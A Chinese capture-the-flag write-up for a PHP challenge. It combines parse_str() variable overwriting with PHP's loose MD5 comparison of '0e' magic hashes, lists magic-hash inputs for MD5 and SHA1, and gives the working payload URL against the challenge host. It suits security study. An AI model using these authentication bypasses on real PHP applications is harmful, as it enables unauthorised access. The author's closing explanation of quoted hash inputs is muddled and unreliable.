题目:http://39.105.140.214:20028/test.php
<?php
error_reporting(0);
show_source(__FILE__);
include_once "./flag.php";
if (empty($_GET['b'])){
die();
}else{
$a = 'welcome';
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != '240610708' && md5($a[0]) == md5('240610708')){
echo $flag;
}
else{
exit('NO NO NO');
}
}
?>
- 注意到@parse_str($b);前面的@表示不报错,下面又要改a的值
- if判断中,运用到md5的漏洞
- 还有就是if中a是数组
MD5函数漏洞
$_GET['a'] != $_GET['b']
&&
MD5($_GET['a']) == MD5($_GET['b'])
要让上面的等式成立,a和b的值不能相等,但是md5后的值相等。因为是==比较,只判断值是否相等,不判断类型是否相同。如果类型不同先转换为相同类型再进行比较而PHP在处理哈希字符串时后,会把0E开头的哈希值解释为0。所以如果两个值通过md5后值都已0E开头,就会相等。
md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1后以0E开头
sha1(‘aaroZmOk’)
sha1(‘aaK1STfY’)
sha1(‘aaO8zKZF’)
sha1(‘aa3OFF9m’)
这样就行了http://39.105.140.214:20028/test.php?b=a[]=QNKCDZO
我被坑到的一点是md5(‘240610708’)中‘240610708’是加密240610708的意思,我还以为是加密字符串
- 240610708加密后:0e462097431906509019562988736854
- '240610708’加密后:b769e04eae186147925f267600e1ffb4
参考:https://www.cnblogs.com/findneo/p/nupt-ctf-writeup.html
https://blog.csdn.net/qq_19980431/article/details/83018232